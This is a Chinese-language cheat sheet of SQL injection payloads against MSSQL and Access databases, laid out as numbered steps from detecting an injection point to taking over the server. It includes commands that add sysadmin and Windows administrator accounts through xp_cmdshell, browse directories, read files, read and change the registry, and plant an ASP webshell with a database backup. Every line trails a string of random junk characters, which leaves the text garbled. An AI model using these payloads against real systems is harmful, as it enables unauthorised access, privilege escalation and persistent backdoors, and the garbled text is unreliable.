1.判断是否有注入;and 1=1 ;and 1=2 B\r2M`N5
2.初步判断是否是mssql ;and user>0 !?Gt5$f
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3.注入参数是字符'and [查询条件] and ''=' 9+nB;vA
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' VdjS\VYe,
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5.判断数据库系统 ExeD3Zj
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;and (select count(*) from sysobjects)>0 mssql R8I%Cyc
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;and (select count(*) from msysobjects)>0 access dKTyh:_{
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 u,AP$+Qk
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 "XfCLc1 T
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 yhv(KI
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9.(1)猜字段的ascii值(access) ug{@rt/"Z
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ]$Pl[Vegy
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(2)猜字段的ascii值(mssql) 1DgRV7
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \(2w/~
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10.测试权限结构(mssql) `-fWNHs
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- qmqWMLfC
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- s!,m,l[P
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 39to5s,
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- pMB!I9q
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- hb#Nm6
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- U{i xok
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;and 1=(select IS_MEMBER('db_owner'));-- vZ,DJ//U,
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11.添加mssql和系统的帐户 2(LF @xb
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;exec master.dbo.sp_addlogin username;-- r5 tn'
;exec master.dbo.sp_password null,username,password;-- X)oxNxZ[A
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0Dtew N{Z
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;exec master.dbo.xp_cmdshell 'net user username password '&hz*yk
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- %O6r
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- "Vh3hnS~
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- GsIVx!
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12.(1)遍历目录 +t*V7nW
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;create table dirs(paths varchar(100), id int) i(T[
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <*JFY%y"
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;and (select top 1 paths from dirs)>0 GDF/0-/Z
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) pwvzs`[;
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(2)遍历目录 &~mJ
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- H9;0$Y(e-
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;~D$rT
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $%BI8_
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 o|:c{pwq
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 PRJ
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13.mssql中的存储过程 e5RF6roxO
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xp_regenumvalues 注册表根键, 子键 Az7
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 (1EtC{
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xp_regread 根键,子键,键值名 KH$|wv
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 b5Q|$E
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xp_regwrite 根键,子键, 值名, 值类型, 值 L4DT*(;!E
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 JDJ"D\85
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xp_regdeletevalue 根键,子键,值名 3Fb9\2<H
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 X [<%T}s#
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /KLkrW
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14.mssql的backup创建webshell 0iYo&q'n
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use model nb<e<>L
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create table cmd(str image); _tUh*"e&
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insert into cmd(str) values (''); iYZn`OAx
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backup database model to disk='c:\l.asp'; O8OAXRt/Y
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15.mssql内置函数 KomMzG:
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;and (select @@version)>0 获得Windows的版本号 fat;5XL@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^T:L6:
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;and (select user_name())>0 爆当前系统的连接用户 ^@3,/dH1 t
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;and (select db_name())>0 得到当前连接的数据库 It7R}0Smg
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16.简洁的webshell VKkvf"X
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use model o\F>K'
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create table cmd(str image); ;4U"y8PVTh
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insert into cmd(str) values (''); 2eHVl.C5
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backup database model to disk='g:\wwwtest\l.asp';